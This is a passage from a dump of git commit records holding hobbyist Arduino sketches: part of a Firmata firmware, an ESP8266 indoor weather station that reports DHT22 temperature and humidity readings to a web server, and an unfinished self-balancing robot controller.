queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SERVO_CONFIG:\n if (argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_DIGITAL(pin)) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n attachServo(pin, minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n}\n\n\/*==============================================================================\n SETUP()\n ============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n if (isI2CEnabled) {\n disableI2CPins();\n }\n\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n\n servoPinMap[i] = 255;\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n detachedServoCount = 0;\n servoCount = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n\n\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n \/* For chipKIT Pi board, we need to use Serial1. All others just use Serial. *\/\n#if defined(_BOARD_CHIPKIT_PI_)\n Serial1.begin(57600);\n Firmata.begin(Serial1);\n#else\n Firmata.begin(57600);\n#endif\n systemResetCallback(); \/\/ reset to default config\n strip.begin();\n}\n\n\/*==============================================================================\n LOOP()\n ============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/StandardFirmataChipKITledstrip\/StandardFirmataChipKITledstrip.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fc8d552bb640ae5af6f7c6a0bc570bba9fbafda0","subject":"initial","message":"initial","repos":"ValleyCommunityWorkspace\/indoor-weather-station-v1,ValleyCommunityWorkspace\/indoor-weather-station-v1,ValleyCommunityWorkspace\/indoor-weather-station-v1","old_file":"SimpleClientDHTSSL.ino","new_file":"SimpleClientDHTSSL.ino","new_contents":"\/* WeMos DHT Server\n *\n * Connect to WiFi and respond to http requests with temperature and humidity\n *\n * Based on Adafruit ESP8266 Temperature \/ Humidity Webserver\n * https:\/\/learn.adafruit.com\/esp8266-temperature-slash-humidity-webserver\n *\n * Depends on Adafruit DHT Arduino library\n * https:\/\/github.com\/adafruit\/DHT-sensor-library\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <DHT.h>\n\n#define DHTTYPE DHT22 \/\/ DHT Shield uses DHT 11\n#define DHTPIN D4 \/\/ DHT Shield uses pin D4\n\n\/\/const char* DEVNAME = \"VCW100\u201d ; const char* ISSUEID = \u201cZGKL01\u201d; const char* ssid = \"\"; const char* password = \u201c\u201d;\n\n\nIPAddress server(120,138,27,109);\n\n\/\/ Initialize DHT sensor\n\/\/ Note that older versions of this library took an optional third parameter to\n\/\/ tweak the timings for faster processors. This parameter is no longer needed\n\/\/ as the current DHT reading algorithm adjusts itself to work on faster procs.\nDHT dht(DHTPIN, DHTTYPE);\n\nfloat humidity, temperature; \/\/ Raw float values from the sensor\nchar str_humidity[10], str_temperature[10]; \/\/ Rounded sensor values and as strings\n\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ When the sensor was last read\nconst long interval = 5000; \/\/ Wait this long until reading again\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nenum WiFiStateEnum { DOWN, STARTING, UP } ;\nWiFiStateEnum WiFiState = DOWN;\nunsigned long WiFiStartTime = 0;\n\nvoid read_sensor() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ If the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor.\n \/\/ Works better than delay for things happening elsewhere also.\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ Save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature and humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity as a percent\n temperature = dht.readTemperature(); \/\/ Read temperature as Celsius\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(humidity) || isnan(temperature)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Convert the floats to strings and round to 2 decimal places\n dtostrf(humidity, 1, 2, str_humidity);\n dtostrf(temperature, 1, 2, str_temperature);\n\n Serial.print(\"Humidity: \");\n Serial.print(str_humidity);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(str_temperature);\n Serial.println(\" \u00b0C\");\n }\n}\n\nvoid WiFiEvent(WiFiEvent_t event) {\n Serial.printf(\"[WiFi-event] event: %d\\n\", event);\n\n switch(event) {\n case WIFI_EVENT_STAMODE_GOT_IP:\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n WiFiState = UP;\n break;\n case WIFI_EVENT_STAMODE_DISCONNECTED:\n WiFiState = DOWN;\n Serial.println(\"WiFi lost connection\");\n break;\n }\n}\n\nvoid WifiTryUp() {\n \/\/ delete old config\n\n WiFi.disconnect(true);\n\n delay(1000);\n\n\n\n WiFi.begin(ssid, password);\n\n Serial.println();\n Serial.println();\n Serial.println(\"Wait for WiFi... \");\n\n}\n\n\nunsigned long _ESP_id;\nvoid setup(void)\n{\n \/\/ Open the Arduino IDE Serial Monitor to see what the code is doing\n Serial.begin(115200);\n dht.begin();\n\n Serial.println(\"WeMos DHT Server\");\n _ESP_id = ESP.getChipId(); \/\/ uint32 -> unsigned long on arduino\n Serial.println(_ESP_id,HEX);\n Serial.println(\"\");\n\n WiFi.onEvent(WiFiEvent);\n\n \/\/ Initial read\n read_sensor();\n\n}\n\nvoid loop(void)\n{\n delay(60000);\n read_sensor();\n \n if (WiFiState == UP) { httpsRequest(temperature,humidity); }\n\n \/\/ Connect to your WiFi network\n if (WiFiState == DOWN) {\n WifiTryUp();\n WiFiState = STARTING;\n WiFiStartTime = millis();\n }\n if (WiFiState == STARTING) {\n if (millis() - WiFiStartTime > 120000) { WiFiState = DOWN; Serial.println(\"WiFi Connect Timeout\"); }\n }\n\n\n}\n\n\n\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest(float temp, float humid) {\n\n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(server, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \n String url = \"\/updateweatherstation.php?action=updateraw\";\n url += \"&devid=\";\n url += String(_ESP_id,HEX);\n url += \"&devname=\";\n url += DEVNAME;\n url += \"&issueid=\";\n url += ISSUEID;\n url += \"&dateutc=now&indoortemp=\";\n url += temp;\n url += \"&indoorhumidity=\";\n url += humid;\n \n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + \"www.shac.org.nz\" + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n delay(10);\n if (millis() - timeout > 5000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\"); \n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n \n}\n\n\n\n\/\/ Use web browser to view and copy\n\/\/ SHA1 fingerprint of the certificate\nconst char* fingerprint = \"CF 05 98 89 CA FF 8E D8 5E 5C E0 C2 E4 F7 E6 C3 C7 50 DD 5C\";\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpsRequest(float temp, float humid) {\n\n \/\/ Use WiFiClientSecure class to create TLS connection\n WiFiClientSecure client;\n Serial.print(\"connecting HTTPS \");\n Serial.println(server);\n if (!client.connect(server, 443)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n if (client.verify(fingerprint, \"www.shac.org.nz\")) {\n Serial.println(\"certificate matches\");\n } else {\n Serial.println(\"certificate doesn't match\");\n }\n\n \/\/ We now create a URI for the request\n String url = \"\/updateweatherstation.php?action=updateraw\";\n url += \"&devid=\";\n url += String(_ESP_id,HEX);\n url += \"&devname=\";\n url += DEVNAME;\n url += \"&issueid=\";\n url += ISSUEID;\n url += \"&dateutc=now&indoortemp=\";\n url += temp;\n url += \"&indoorhumidity=\";\n url += humid;\n \n \n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + \"www.shac.org.nz\" + \"\\r\\n\" + \n \"User-Agent: indoor-wx-v0.1\" + \"\\r\\n\" +\n \"Connection: close\\r\\n\\r\\n\");\n\n Serial.println(\"request sent\");\n\n \/\/delay(100);\n\n\/* \n Serial.print(\"01\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"02\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"03\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"04\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"05\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"06\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"07\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"08\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"09\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"10\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"11\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"12\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"13\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"14\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"15\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"16\"); Serial.println(client.readStringUntil('\\n'));\n*\/ \n\n\n\n unsigned long _timeout = 1000;\n unsigned long _startMillis = millis();\n \/\/while (client.connected()) { \/\/ client.connected seems to not always work! - returns FALSE at this point sometimes.\n \n while (millis() - _startMillis < _timeout) {\n String line = client.readStringUntil('\\n');\n yield();\n Serial.print(\"Header Line: \");\n Serial.println(line);\n if (line == String(\"\\r\") ) {\n Serial.println(\"headers received\");\n break;\n }\n }\n \n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n yield();\n if (line.startsWith(\"GMT:\")) {\n Serial.print(\"Got GMT: \");\n Serial.println(line);\n } else {\n Serial.print(\"Body Line: \");\n Serial.println(line);\n }\n }\n\n\n Serial.println(\"Finished\");\n \/\/ read until return -1?????\n \/\/while (client.read() >= 0) {Serial.print(\".\"); }\n \n \/\/Serial.println(\"reply was:\");\n \/\/Serial.println(\"==========\");\n \/\/Serial.println(line);\n \/\/Serial.println(\"==========\");\n \/\/Serial.println(\"closing connection\");\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SimpleClientDHTSSL.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"11a73a9276abf67045b6196cbc0f872fcdce1aec","subject":"daily tuning for today's leaderboard","message":"daily tuning for today's leaderboard\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c0a5eb9371535cb54de55331bdc5f9a94145fb13","subject":"Create simplificado_230520171205_FUNCIONA_CORRECTAMENTE.ino","message":"Create simplificado_230520171205_FUNCIONA_CORRECTAMENTE.ino","repos":"alienneo666\/Rob_Bat","old_file":"simplificado_230520171205_FUNCIONA_CORRECTAMENTE.ino","new_file":"simplificado_230520171205_FUNCIONA_CORRECTAMENTE.ino","new_contents":"\/*\n ********* AUTOR: ALIENNEO *********\n ********* DATE: 07\/05\/2013 ********\n *********** VERSION: 1.1 **********\n*\/\n#include <Wire.h>\n#define MPU 0x68\n#define A_R 16384.0\n#define G_R 131.0\n#define RAD_A_DEG = 57.295779\n\n\n#define BAUDIOS 9600\n\n\n\n#define LIMITE_ANGULO_OBJETIVO 3 \/\/12\n\n#define MAX_CONTROL_SALIDA 200 \/\/500 maximo de velocidad de salida\n#define MAXIMA_ACELERACION 6 \/\/ MAX RECOMMENDED VALUE: 8) (default:7)\n#define ITERM_MAX_ERROR 25 \/\/ Iterm windup constants for PI control \/\/40\n#define ITERM_MAX 8000 \/\/ 5000\n\n#define MICROSTEPPING 16 \/\/ 8 or 16 for 1\/8 or 1\/16 driver microstepping (default:16)\n\n\/\/\n#define CLR(x,y) (x&=(~(1<<y)))\n#define SET(x,y) (x|=(1<<y))\n\n#define ZERO_SPEED 65535 \/\/ 65535 se trata de la frecuencia m\u00e1xima en 8bits\n\n\/\/ Default control terms\n#define KP 0.20\n#define KD 20\n#define KP_THROTTLE 0.07\n#define KI_THROTTLE 0.04\n\n\nbool Robot_tumbado = false; \/\/ Robot tumbado flag => Out of\nint16_t AcX, AcY, AcZ, GyX, GyY, GyZ;\nfloat Acc[2];\nfloat Gy[2];\nfloat Angle[2];\nlong tiempo_antiguo;\nlong tiempo_valor;\nfloat dt;\nfloat angulo_recogido;\nfloat angulo_recogido_antiguo;\nfloat PID_errorSuma;\nfloat PID_errorAntiguo = 0;\nfloat PID_errorAntiguo2 = 0;\nfloat setPointAntiguo = 0;\nfloat angulo_objetivo;\nfloat acelerador;\nfloat direccion;\nfloat control_salida;\n\n\nint16_t motor_A;\nint16_t motor_B;\n\n\nint16_t velocidad_Motor_A;\nint16_t velocidad_Motor_B;\nuint8_t loop_counter;\nuint8_t slow_loop_counter;\n\nfloat Kp = KP;\nfloat Kd = KD;\nfloat Kp_thr = KP_THROTTLE;\nfloat Ki_thr = KI_THROTTLE;\nfloat Kp_user = KP;\nfloat Kd_user = KD;\nfloat Kp_thr_user = KP_THROTTLE;\nfloat Ki_thr_user = KI_THROTTLE;\n\n\nint8_t dir_Motor_A;\nint8_t dir_Motor_B; \/\/ Actual direction of steppers motors\nint16_t actual_robot_velocidad;\nint16_t actual_robot_velocidad_antiguo;\nfloat velocidad_estimada_filtered; \/\/ Estimated robot velocidad\n\n\n\n\n\/\/\/\/ 16 single cycle instructions = 1us at 16Mhz\nvoid delay_1us()\n{\n __asm__ __volatile__ (\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\");\n}\n\n\/*********** SETUP ************* *\/\nvoid setup() {\n\n\n pinMode(8, OUTPUT); \/\/ DIR MOTOR_A PORTB,4\n pinMode(11, OUTPUT); \/\/ STEP MOTOR_A PORTB,7\n pinMode(7, OUTPUT); \/\/ DIR MOTOR_B PORTE,6\n pinMode(6, OUTPUT); \/\/ STEP MOTOR_B PORTD,7\n \n pinMode(9, OUTPUT); \/\/ ENABLE MOTORS\n\n digitalWrite(9, HIGH); \/\/ HIGH Deshabilitar motores\n\n Wire.begin();\n Wire.beginTransmission(MPU);\n Wire.write(0x6B);\n Wire.write(0);\n Wire.endTransmission(true);\n\n Serial.begin(BAUDIOS); \/\/ Serial salida to console\n\n Serial.println(\"Rob-Bat by Alienneo v.1.1\");\n Serial.println(\"Iniciando...\");\n\n \/\/ Gyro calibration\n \/\/ The robot must be steady during initialization\n delay(500);\n Serial.println(\"Gyro calibracion!! No mover en 10 segundos... \");\n delay(500);\n\n Serial.println(\"Iniciando motores...\");\n\n \/\/******************************************************\n cli();\n TCCR1A = 0; \/\/ Timer1 CTC mode 4\n TCCR1B = (1 << WGM12) | (1 << CS11); \/\/ Prescaler=256\n OCR1A = ZERO_SPEED; \/\/ Motor parado\n TCNT1 = 0;\n\n TCCR3A = 0; \/\/ Timer2 CTC mode 4\n TCCR3B = (1 << WGM32) | (1 << CS31); \/\/ Prescaler=256\n OCR3A = ZERO_SPEED; \/\/ Motor parado\n TCNT3 = 0;\n\n\n TIMSK1 |= (1 << OCIE1A);\n TIMSK3 |= (1 << OCIE3A);\n sei();\n\n \/\/peque\u00f1a vibracion en los motores para comprobar que estan preparados\n for (uint8_t k = 0; k < 5; k++) {\n setSpeed_Motor_A(5);\n setSpeed_Motor_B(-5);\n delay(200);\n setSpeed_Motor_A(-5);\n setSpeed_Motor_B(5);\n delay(200);\n\n }\n setSpeed_Motor_A(0);\n setSpeed_Motor_B(0);\n\n\n} \/* ************ FINAL SETUP *************** *\/\n\n\n\/* ************ LOOP ***************** *\/\nvoid loop() {\n tiempo_valor=millis();\n \/* ************ DATOS DEL ACELEROMETRO\/GIROSCOPIO *********************** *\/\n Wire.beginTransmission(MPU);\n Wire.write(0x3B);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 6, true);\n AcX = Wire.read() << 8 | Wire.read();\n AcY = Wire.read() << 8 | Wire.read();\n AcZ = Wire.read() << 8 | Wire.read();\n Acc[1] = atan(-1 * (AcX \/ A_R) \/ sqrt(pow((AcY \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Acc[0] = atan((AcY \/ A_R) \/ sqrt(pow((AcX \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Wire.beginTransmission(MPU);\n Wire.write(0x43);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 4, true);\n GyX = Wire.read() << 8 | Wire.read();\n GyY = Wire.read() << 8 | Wire.read();\n Gy[0] = GyX \/ G_R;\n Gy[1] = GyY \/ G_R;\n Angle[0] = 0.98 * (Angle[0] + Gy[0] * 0.010) + 0.02 * Acc[0];\n Angle[1] = 0.98 * (Angle[1] + Gy[1] * 0.010) + 0.02 * Acc[1];\n \/\/Serial.print(\"Angle X: \"); Serial.print(Angle[0]); Serial.print(\"\\n\");\n \/\/Serial.print(\"Angle Y: \"); Serial.println(Angle[1]); \/\/ Angulo necesario\n delay(2);\n\n\n\n\n loop_counter++;\n slow_loop_counter++;\n dt = (tiempo_valor - tiempo_antiguo);\n tiempo_antiguo = tiempo_valor;\n\n angulo_recogido_antiguo = angulo_recogido;\n\n angulo_recogido = Angle[1];\n\n \/\/Serial.println(angulo_recogido);\n\n\n \/\/ We calculate the estimated robot speed:\n \/\/ Estimated_Speed = angular_velocity_of_stepper_motors(combined) - angular_velocity_of_robot(angle measured by IMU)\n actual_robot_velocidad_antiguo = actual_robot_velocidad;\n actual_robot_velocidad = (velocidad_Motor_A + velocidad_Motor_B) \/ 2; \/\/ Positive: forward\n\n int16_t velocidad_angular = (angulo_recogido - angulo_recogido_antiguo) * 90.0; \/\/ 90 is an empirical extracted factor to adjust for real units\n int16_t velocidad_estimada = -actual_robot_velocidad_antiguo - velocidad_angular; \/\/ We use robot_speed(t-1) or (t-2) to compensate the delay\n velocidad_estimada_filtered = velocidad_estimada_filtered * 0.95 + (float)velocidad_estimada * 0.05; \/\/ low pass filter on estimated speed\n\n angulo_objetivo = controlVelocidadPI(dt, velocidad_estimada_filtered, acelerador, Kp_thr, Ki_thr);\n angulo_objetivo = constrain(angulo_objetivo, -LIMITE_ANGULO_OBJETIVO, LIMITE_ANGULO_OBJETIVO); \/\/ limited outpu\n\n\n\n control_salida += controlEstabilidadPD(dt, angulo_recogido, angulo_objetivo, Kp, Kd);\n control_salida = constrain(control_salida, -MAX_CONTROL_SALIDA, MAX_CONTROL_SALIDA); \/\/ Limit max output from control\n\n \/\/ The steering part from the user is injected directly on the output\n motor_A = control_salida + direccion;\n motor_B = control_salida - direccion;\n\n \/\/ Limit max speed (control output)\n motor_A = constrain(motor_A, -MAX_CONTROL_SALIDA, MAX_CONTROL_SALIDA);\n motor_B = constrain(motor_B, -MAX_CONTROL_SALIDA, MAX_CONTROL_SALIDA);\n\n\n if ((angulo_recogido < 76) && (angulo_recogido > -76)) \/\/ Is robot ready (upright?)\n {\n \/\/ NORMAL MODE\n digitalWrite(9, LOW); \/\/ Motors enable\n setSpeed_Motor_A(-motor_A);\n setSpeed_Motor_B(motor_B);\n \n }\n\n\n\/\/Serial.print(\",\");\nSerial.print(\"dt: \");\nSerial.print(dt);\nSerial.print(\" kp: \");\nSerial.print(Kp);\nSerial.print(\" kd: \");\nSerial.print(Kd);\n\nSerial.print(\" angulo_recogido: \");\nSerial.print(angulo_recogido);\nSerial.print(\" angulo_objetivo: \");\nSerial.print(angulo_objetivo);\nSerial.print(\" motor_A: \");\nSerial.print(motor_A);\nSerial.print(\" motor_B: \");\nSerial.print(motor_B);\nSerial.print(\" control_salida: \");\nSerial.println(control_salida);\n\/\/Serial.println(motor_A);\n\/\/Serial.print(\",\");\n\/\/Serial.println(motor_B);\n\n\n\n\n \/\/ if (velocidad < 50) {\n \/\/ setSpeed_Motor_A(velocidad);\/\/\n \/\/ setSpeed_Motor_B(-velocidad);\n \/\/ ++velocidad;\n \/\/ Serial.println(velocidad);\n \/\/ delay(10);\n \/\/ }\n \/\/ Serial.print(\"motor_A 16bits steps: \");\n \/\/ Serial.println(cuenta_A);\n \/\/ Serial.print(\"motor_B 8bits steps: \");\n \/\/ Serial.println(cuenta_B);\n\n}\/* ************** FINAL LOOP ******************** *\/\n\n\n\n\n\/\/ TIMER 1 : STEPPER MOTOR_A SPEED CONTROL ********* ISR ****************\nISR(TIMER1_COMPA_vect) \/\/16bits\n{\n\n SET(PORTB, 7); \/\/ STEP MOTOR A\n delay_1us();\n delay_1us();\n CLR(PORTB, 7);\n\n\n}\n\/\/TIMER 3 : STEPPER MOTOR_B SPEED CONTROL\nISR(TIMER3_COMPA_vect) \/\/16bits\n{\n\n SET(PORTD, 7); \/\/ STEP MOTOR B\n delay_1us();\n delay_1us();\n CLR(PORTD, 7);\n\n\n}\n\/* ******************************************************************** *\/\n\/* **************** setSpeed_Motor_A ******************* *\/\n\/* ******************************************************************** *\/\nvoid setSpeed_Motor_A(int16_t tspeed)\n{\n long timer_period;\n int16_t speed;\n\n \/\/ Limit max speed?\n\n \/\/ WE LIMIT MAX ACCELERATION of the motors\n if ((velocidad_Motor_A - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_A -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_A - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_A += MAXIMA_ACELERACION;\n else\n velocidad_Motor_A = tspeed;\n\n#if MICROSTEPPING==16\n speed = velocidad_Motor_A * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n#else\n speed = velocidad_Motor_A * 23; \/\/ 1\/8 Microstepping\n#endif\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_A = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_A = 1;\n SET(PORTB, 4); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_A = -1;\n CLR(PORTB, 4); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR1A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT1 > OCR1A)\n TCNT1 = 0;\n\n\/* ******************************************************************** *\/\n\/* **************** setSpeed_Motor_B ******************* *\/\n\/* ******************************************************************** *\/\n} void 